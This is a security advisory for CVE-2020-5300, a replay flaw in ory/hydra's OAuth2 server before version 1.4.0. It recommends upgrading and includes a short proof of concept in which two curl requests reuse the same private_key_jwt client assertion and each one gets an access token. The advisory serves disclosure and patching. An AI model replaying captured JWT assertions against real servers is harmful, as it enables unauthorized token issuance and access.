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Replay Attack Affecting github.com/ory/hydra/oauth2 package, versions <1.4.0

0.0
medium

  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Confidentiality

    High

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  • snyk-id

    SNYK-GOLANG-GITHUBCOMORYHYDRAOAUTH2-564270

  • published

    2 Apr 2020

  • disclosed

    2 Apr 2020

  • credit

    Unknown

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Introduced: 2 Apr 2020

CVE-2020-5300 Open this link in a new tab
CWE-294 Open this link in a new tab

How to fix?

Upgrade github.com/ory/hydra/oauth2 to version 1.4.0 or higher.

Overview

github.com/ory/hydra/oauth2 is an OAuth2 Server and OpenID Certified™ OpenID Connect Provider written in Go.

Affected versions of this package are vulnerable to Replay Attack. Replay of private_key_jwt JWT tokens are possible when performing client authorization.

PoC

$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
   --header 'Content-Type: application/x-www-form-urlencoded' \
   --data-urlencode 'grant_type=client_credentials' \
   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
   --data-urlencode 'scope=application openid' \
   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
   --data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"zeG0NoqOtlACl8q5J6A-TIsNegQRRUzqLZaYrQtoBZQ.VR6iUcJQYp3u_j7pwvL7YtPqGhtyQe5OhnBE2KCp5pM","expires_in":3599,"scope":"application openid","token_type":"bearer"}⏎            ~$ curl --insecure --location --request POST 'https://localhost/_/oauth2/token' \
   --header 'Content-Type: application/x-www-form-urlencoded' \
   --data-urlencode 'grant_type=client_credentials' \
   --data-urlencode 'client_id=c001d00d-5ecc-beef-ca4e-b00b1e54a111' \
   --data-urlencode 'scope=application openid' \
   --data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
   --data-urlencode 'client_assertion=eyJhb [...] jTw'
{"access_token":"wOYtgCLxLXlELORrwZlmeiqqMQ4kRzV-STU2_Sollas.mwlQGCZWXN7G2IoegUe1P0Vw5iGoKrkOzOaplhMSjm4","expires_in":3599,"scope":"application openid","token_type":"bearer"}

References